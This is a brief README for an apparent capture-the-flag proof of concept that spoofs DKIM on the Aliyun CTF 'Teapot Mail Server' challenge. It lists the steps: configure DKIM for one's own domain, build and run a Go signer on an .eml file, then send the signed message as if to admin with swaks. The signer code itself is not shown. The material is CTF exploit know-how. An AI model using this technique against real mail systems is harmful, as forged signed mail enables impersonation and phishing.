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Aliyun CTF Teapot Mail Server DKIM spoofing fast poc

Usage

update file of <your domain> to your domain and make the DKIM for your domain

Save your private key as mail.pem

go build -o signer.exe signer.go
./signer.exe [mailname].eml
# find the bodyhash
swaks --data output2.eml \
  --to admin --from [email protected] \
  --server TheTeapotServer --port 25